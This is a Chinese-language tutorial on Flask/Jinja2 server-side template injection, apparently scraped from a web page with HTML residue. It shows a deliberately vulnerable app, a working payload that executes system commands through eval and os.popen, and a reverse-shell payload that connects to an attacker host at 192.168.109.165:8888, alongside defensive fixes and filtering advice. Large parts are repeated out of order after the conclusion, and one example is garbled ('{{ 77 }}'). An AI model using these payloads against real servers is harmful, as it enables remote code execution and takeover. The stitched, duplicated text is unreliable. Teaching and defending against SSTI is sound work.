Flask SSTI（服务器端模板注入）漏洞深度解析与实战教学<\/h2>

1. 漏洞概述<\/h3>
SSTI<\/strong> 全称为 Server-Side Template Injection，即服务器端模板注入漏洞。该漏洞发生在使用模板引擎的Web应用程序中，当攻击者能够将恶意代码注入模板并使其在服务器端执行时，就会导致严重的安全问题。<\/p>

1.1 模板引擎的作用<\/h4>
模板引擎的核心目的是实现用户界面（UI）与业务数据的分离<\/strong>。开发者编写一个包含占位符的模板文件，模板引擎在运行时将动态数据（如用户名、文章内容）填充到占位符中，最终生成完整的HTML页面发送给用户浏览器。<\/p>
1.2 SSTI 漏洞产生的根本原因<\/h4>
漏洞的根源在于开发者错误地将用户输入直接拼接到了模板字符串中<\/strong>，而非将其作为纯粹的“数据”传递给模板。<\/p>

正确做法<\/strong>：用户输入被视为 “数据”<\/strong> ，仅用于替换模板中预定义的变量。例如：Template("Hello {{ name }}").render(name=user_input)<\/code><\/li>
错误做法（导致漏洞）<\/strong>：用户输入被直接拼接到模板字符串中，模板引擎会将其解析为 “模板代码”<\/strong> 并执行。例如：Template("Hello " + user_input).render()<\/code><\/li> <\/ul> 这种错误使得攻击者可以突破“数据”的界限，向模板中注入控制逻辑（如条件判断、循环）甚至访问底层Python环境，从而执行任意代码。<\/p> 2. 漏洞复现环境搭建<\/h3> 2.1 漏洞代码示例<\/h4> 以下是一个存在SSTI漏洞的简单Flask应用代码（app.py<\/code>）：<\/p> from<\/span> flask import<\/span> Flask, request <\/span><\/span>from<\/span> jinja2 import<\/span> Template # 导入Jinja2模板引擎的Template类<\/span> <\/span><\/span> <\/span><\/span>app =<\/span> Flask(__name__) <\/span><\/span> <\/span><\/span>@app<\/span>.<\/span>route("\/"<\/span>) <\/span><\/span>def<\/span> index<\/span>(): <\/span><\/span> # 从URL参数中获取'name'，默认为'guest'<\/span> <\/span><\/span> name =<\/span> request.<\/span>args.<\/span>get('name'<\/span>, 'guest'<\/span>) <\/span><\/span> <\/span><\/span> # 【漏洞点】将用户输入(name)直接与模板字符串拼接<\/span> <\/span><\/span> t =<\/span> Template("Hello "<\/span> +<\/span> name) <\/span><\/span> # 渲染模板<\/span> <\/span><\/span> return<\/span> t.<\/span>render() <\/span><\/span> <\/span><\/span>if<\/span> __name__ ==<\/span> "__main__"<\/span>: <\/span><\/span> app.<\/span>run(debug=<\/span>True<\/span>) # 开启调试模式，方便观察错误<\/span> <\/span><\/span><\/code><\/pre>2.2 环境运行<\/h4> 确保已安装Flask和Jinja2：pip install flask jinja2<\/code><\/li> 运行Python脚本：python app.py<\/code><\/li> 访问 http:\/\/127.0.0.1:5000<\/code><\/li> <\/ol> 3. 漏洞利用与攻击链分析<\/h3> 3.1 初步探测<\/h4> 访问以下URL，测试模板注入是否可行：<\/p> http:\/\/127.0.0.1:5000\/?name={{ 7 * 7 }} <\/code><\/pre> 如果页面上显示 Hello 49<\/code>，则证明模板引擎执行了我们的数学运算，SSTI漏洞存在。<\/p> 3.2 Jinja2的Python对象访问能力<\/h4> Jinja2允许模板访问Python对象的属性和方法，这是攻击链得以构建的基础。例如：<\/p> {{ ''.__class__ }}<\/code> 会显示空字符串的类，即 <class 'str'><\/code>。<\/li> <\/ul> 3.3 构建攻击链实现命令执行<\/h4> 最终目标是执行系统命令。攻击思路是：从一个基本的、可访问的Python对象（如空字符串、空列表）出发，沿着类的继承链向上回溯，找到并实例化一个可以执行命令的类（如os.popen<\/code>或subprocess.Popen<\/code>）。<\/p> 攻击链步骤详解：<\/strong><\/p> 获取对象所属类<\/strong>：<\/p> {{ ''.__class__ }} <\/code><\/pre> 结果：<class 'str'><\/code>。我们拿到了字符串类。<\/p> <\/li> 获取父类（基类）<\/strong>：<\/p> {{ ''.__class__.__base__ }} <\/code><\/pre> 结果：<class 'object'><\/code>。在Python中，所有类最终都继承自object<\/code>类。<\/p> <\/li> 获取所有子类<\/strong>：<\/p> {{ ''.__class__.__base__.__subclasses__() }} <\/code><\/pre> 结果：一个包含大量类的列表。这里列出了Python环境中所有加载的、继承自object<\/code>的类。我们的目标是找到一个“跳板类”，它能让我们访问到危险函数（如eval<\/code>, os<\/code>）。<\/p> <\/li> 寻找跳板类并利用<\/strong>：原文中以 catch_warnings<\/code> 类为例。我们需要在返回的子类列表中寻找它，并利用其全局变量。<\/p> <\/li> <\/ol> 完整攻击Payload（用于读取系统命令id<\/code>的结果）：<\/strong><\/p> {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} <\/code><\/pre> 攻击链逐行解析：<\/strong><\/p> 代码步骤<\/th> 解释<\/th> <\/tr> <\/thead> {% for c in [].__class__.__base__.__subclasses__() %}<\/code><\/td> 遍历所有继承自object<\/code>的子类。这里使用空列表[]<\/code>作为起点，与空字符串''<\/code>异曲同工。<\/td> <\/tr> {% if c.__name__ == 'catch_warnings' %}<\/code><\/td> 筛选出类名为 catch_warnings<\/code> 的类。这是一个常用的跳板类，因为它内部引用了有用的模块。<\/td> <\/tr> {% for b in c.__init__.__globals__.values() %}<\/code><\/td> 获取 catch_warnings<\/code> 类的构造方法 __init__<\/code> 的全局变量字典（__globals__<\/code>），并遍历其中的所有值。这个字典包含了该函数定义时所在模块的所有全局变量。<\/td> <\/tr> {% if b.__class__ == {}.__class__ %}<\/code><\/td> 检查遍历到的值 b<\/code> 是否是一个字典对象。<\/td> <\/tr> {% if 'eval' in b.keys() %}<\/code><\/td> 检查这个字典 b<\/code> 中是否包含名为 'eval'<\/code> 的键。这通常指向Python的内建函数 eval<\/code>。<\/td> <\/tr> {{ b['eval']('__import__("os").popen("id").read()') }}<\/code><\/td> 最终攻击<\/strong>：从字典 b<\/code> 中取出 eval<\/code> 函数，并执行一段字符串形式的Python代码：1. __import__("os")<\/code>：动态导入os<\/code>模块。2. popen("id")<\/code>：执行系统命令 id<\/code>。3. read()<\/code>：读取命令执行的结果。<\/td> <\/tr> <\/tbody> <\/table> 跳板类的选择原则：<\/strong><\/p> 稳定性<\/strong>：优先选择Python标准库中默认加载、跨版本稳定的类。<\/li> 可达性<\/strong>：确保该类可以通过基础对象（如''<\/code>或[]<\/code>）的继承链访问到。<\/li> 可利用性<\/strong>：该类的构造方法（__init__<\/code>）的全局变量（__globals__<\/code>）中必须包含敏感资源，如__builtins__<\/code>、eval<\/code>、os<\/code>模块等。<\/li> <\/ul> 3.4 进阶利用：反弹Shell<\/h4> 获取命令执行能力后，可以进一步获取交互式Shell。以下Payload用于反弹一个Shell到攻击机（192.168.109.165:8888<\/code>）：<\/p> {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("subprocess").Popen(["python3", "-c", "import socket,os,pty;s=socket.socket();s.connect((\\\"192.168.109.165\\\",8888));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\\"\/bin\/bash\\\")"], stdout=__import__("subprocess").PIPE, stderr=__import__("subprocess").PIPE)') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} <\/code><\/pre> 攻击者需要在192.168.109.165<\/code>上使用nc -lvnp 8888<\/code>监听端口，成功执行后即可获得一个反向Shell。<\/p> 4. 防御方案<\/h3> 杜绝SSTI漏洞的关键在于严格区分“代码”与“数据”。<\/p> 4.1 正确的模板渲染方法<\/h4> 永远不要拼接用户输入到模板字符串中。<\/strong> 正确的做法是将用户输入作为参数传递给模板。<\/p> 修复后的代码：<\/strong><\/p> from<\/span> flask import<\/span> Flask, request <\/span><\/span>from<\/span> jinja2 import<\/span> Template <\/span><\/span> <\/span><\/span>app =<\/span> Flask(__name__) <\/span><\/span> <\/span><\/span>@app<\/span>.<\/span>route("\/"<\/span>) <\/span><\/span>def<\/span> index<\/span>(): <\/span><\/span> name =<\/span> request.<\/span>args.<\/span>get('name'<\/span>, 'guest'<\/span>) <\/span><\/span> # 【安全写法】模板中使用变量占位符，用户输入作为参数传入<\/span> <\/span><\/span> t =<\/span> Template("Hello {{ n }}"<\/span>) # n是模板内的变量名<\/span> <\/span><\/span> return<\/span> t.<\/span>render(n=<\/span>name) # 将用户控制的name变量传递给模板变量n<\/span> <\/span><\/span> <\/span><\/span>if<\/span> __name__ ==<\/span> "__main__"<\/span>: <\/span><\/span> app.<\/span>run() <\/span><\/span><\/code><\/pre>这样，即使用户输入包含{{ 7*7 }}<\/code>，也只会被当作普通文本显示为Hello {{ 7*7 }}<\/code>，而不会被解析执行。<\/p> 4.2 输入验证与过滤<\/h4> 对用户输入进行严格的检查和过滤。<\/p> 过滤特殊字符<\/strong>：对模板语法符号（如Jinja2的{{<\/code>, }}<\/code>, {%<\/code>, %}<\/code>）进行转义或直接拒绝包含这些字符的输入。<\/li> 关键字黑名单\/白名单<\/strong>：限制用户输入中不能出现Python的敏感属性名（如__class__<\/code>, __globals__<\/code>）和危险模块名（如os<\/code>, subprocess<\/code>）。但黑名单往往可能被绕过，白名单是更安全的选择。<\/li> <\/ul> 4.3 使用模板引擎的安全特性<\/h4> 沙箱模式<\/strong>：Jinja2等模板引擎提供沙箱环境，可以限制模板访问危险的函数和属性。但沙箱逃逸技术也时有出现，不能完全依赖。<\/li> 禁用敏感功能<\/strong>：在不需要复杂逻辑的场景下，禁用模板中的表达式执行等功能，只保留基本的变量替换。<\/li> <\/ul> 5. 总结<\/h3> Flask SSTI漏洞是一个高危漏洞，其本质是信任边界被破坏<\/strong>，将不可信的用户输入错误地提升为可执行的代码。防御的核心在于遵循 “数据与代码分离”<\/strong> 的原则，永远通过参数传递的方式将动态内容传递给模板。开发者应具备安全意识，在代码审查和开发过程中严格检查模板的渲染方式，从而从根本上避免此类漏洞的产生。<\/p> 文档说明<\/strong>：本文档基于提供的链接内容生成，并对攻击链原理、Payload解析和防御方法进行了更为系统和详尽的阐述，确保关键知识点无遗漏。<\/p>

代码步骤<\/th>	解释<\/th> <\/tr> <\/thead>
`{% for c in [].__class__.__base__.__subclasses__() %}<\/code><\/td>`	遍历所有继承自`object<\/code>的子类。这里使用空列表[]<\/code>作为起点，与空字符串''<\/code>异曲同工。<\/td> <\/tr>`
`{% if c.__name__ == 'catch_warnings' %}<\/code><\/td>`	筛选出类名为 `catch_warnings<\/code> 的类。这是一个常用的跳板类，因为它内部引用了有用的模块。<\/td> <\/tr>`
`{% for b in c.__init__.__globals__.values() %}<\/code><\/td>`	获取 `catch_warnings<\/code> 类的构造方法 __init__<\/code> 的全局变量字典（__globals__<\/code>），并遍历其中的所有值。这个字典包含了该函数定义时所在模块的所有全局变量。<\/td> <\/tr>`
`{% if b.__class__ == {}.__class__ %}<\/code><\/td>`	检查遍历到的值 `b<\/code> 是否是一个字典对象。<\/td> <\/tr>`
`{% if 'eval' in b.keys() %}<\/code><\/td>`	检查这个字典 `b<\/code> 中是否包含名为 'eval'<\/code> 的键。这通常指向Python的内建函数 eval<\/code>。<\/td> <\/tr>`
`{{ b['eval']('__import__("os").popen("id").read()') }}<\/code><\/td>`	最终攻击<\/strong>：从字典 b<\/code> 中取出 eval<\/code> 函数，并执行一段字符串形式的Python代码：1. __import__("os")<\/code>：动态导入os<\/code>模块。2. popen("id")<\/code>：执行系统命令 id<\/code>。3. read()<\/code>：读取命令执行的结果。<\/td> <\/tr> <\/tbody> <\/table> 跳板类的选择原则：<\/strong><\/p> 稳定性<\/strong>：优先选择Python标准库中默认加载、跨版本稳定的类。<\/li> 可达性<\/strong>：确保该类可以通过基础对象（如''<\/code>或[]<\/code>）的继承链访问到。<\/li> 可利用性<\/strong>：该类的构造方法（__init__<\/code>）的全局变量（__globals__<\/code>）中必须包含敏感资源，如__builtins__<\/code>、eval<\/code>、os<\/code>模块等。<\/li> <\/ul> 3.4 进阶利用：反弹Shell<\/h4> 获取命令执行能力后，可以进一步获取交互式Shell。以下Payload用于反弹一个Shell到攻击机（192.168.109.165:8888<\/code>）：<\/p> {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("subprocess").Popen(["python3", "-c", "import socket,os,pty;s=socket.socket();s.connect((\\\"192.168.109.165\\\",8888));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\\"\/bin\/bash\\\")"], stdout=__import__("subprocess").PIPE, stderr=__import__("subprocess").PIPE)') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} <\/code><\/pre> 攻击者需要在192.168.109.165<\/code>上使用nc -lvnp 8888<\/code>监听端口，成功执行后即可获得一个反向Shell。<\/p> 4. 防御方案<\/h3> 杜绝SSTI漏洞的关键在于严格区分“代码”与“数据”。<\/p> 4.1 正确的模板渲染方法<\/h4> 永远不要拼接用户输入到模板字符串中。<\/strong> 正确的做法是将用户输入作为参数传递给模板。<\/p> 修复后的代码：<\/strong><\/p> from<\/span> flask import<\/span> Flask, request <\/span><\/span>from<\/span> jinja2 import<\/span> Template <\/span><\/span> <\/span><\/span>app =<\/span> Flask(__name__) <\/span><\/span> <\/span><\/span>@app<\/span>.<\/span>route("\/"<\/span>) <\/span><\/span>def<\/span> index<\/span>(): <\/span><\/span> name =<\/span> request.<\/span>args.<\/span>get('name'<\/span>, 'guest'<\/span>) <\/span><\/span> # 【安全写法】模板中使用变量占位符，用户输入作为参数传入<\/span> <\/span><\/span> t =<\/span> Template("Hello {{ n }}"<\/span>) # n是模板内的变量名<\/span> <\/span><\/span> return<\/span> t.<\/span>render(n=<\/span>name) # 将用户控制的name变量传递给模板变量n<\/span> <\/span><\/span> <\/span><\/span>if<\/span> __name__ ==<\/span> "__main__"<\/span>: <\/span><\/span> app.<\/span>run() <\/span><\/span><\/code><\/pre>这样，即使用户输入包含{{ 77 }}<\/code>，也只会被当作普通文本显示为Hello {{ 77 }}<\/code>，而不会被解析执行。<\/p> 4.2 输入验证与过滤<\/h4> 对用户输入进行严格的检查和过滤。<\/p> 过滤特殊字符<\/strong>：对模板语法符号（如Jinja2的{{<\/code>, }}<\/code>, {%<\/code>, %}<\/code>）进行转义或直接拒绝包含这些字符的输入。<\/li> 关键字黑名单\/白名单<\/strong>：限制用户输入中不能出现Python的敏感属性名（如__class__<\/code>, __globals__<\/code>）和危险模块名（如os<\/code>, subprocess<\/code>）。但黑名单往往可能被绕过，白名单是更安全的选择。<\/li> <\/ul> 4.3 使用模板引擎的安全特性<\/h4> 沙箱模式<\/strong>：Jinja2等模板引擎提供沙箱环境，可以限制模板访问危险的函数和属性。但沙箱逃逸技术也时有出现，不能完全依赖。<\/li> 禁用敏感功能<\/strong>：在不需要复杂逻辑的场景下，禁用模板中的表达式执行等功能，只保留基本的变量替换。<\/li> <\/ul> 5. 总结<\/h3> Flask SSTI漏洞是一个高危漏洞，其本质是信任边界被破坏<\/strong>，将不可信的用户输入错误地提升为可执行的代码。防御的核心在于遵循 “数据与代码分离”<\/strong> 的原则，永远通过参数传递的方式将动态内容传递给模板。开发者应具备安全意识，在代码审查和开发过程中严格检查模板的渲染方式，从而从根本上避免此类漏洞的产生。<\/p> 文档说明<\/strong>：本文档基于提供的链接内容生成，并对攻击链原理、Payload解析和防御方法进行了更为系统和详尽的阐述，确保关键知识点无遗漏。<\/p>

Flask SSTI（服务器端模板注入）漏洞深度解析与实战教学<\/h2>

1. 漏洞概述<\/h3> SSTI<\/strong> 全称为 Server-Side Template Injection，即服务器端模板注入漏洞。该漏洞发生在使用模板引擎的Web应用程序中，当攻击者能够将恶意代码注入模板并使其在服务器端执行时，就会导致严重的安全问题。<\/p>

2. 漏洞复现环境搭建<\/h3>

3. 漏洞利用与攻击链分析<\/h3>

1. 漏洞概述<\/h3>
SSTI<\/strong> 全称为 Server-Side Template Injection，即服务器端模板注入漏洞。该漏洞发生在使用模板引擎的Web应用程序中，当攻击者能够将恶意代码注入模板并使其在服务器端执行时，就会导致严重的安全问题。<\/p>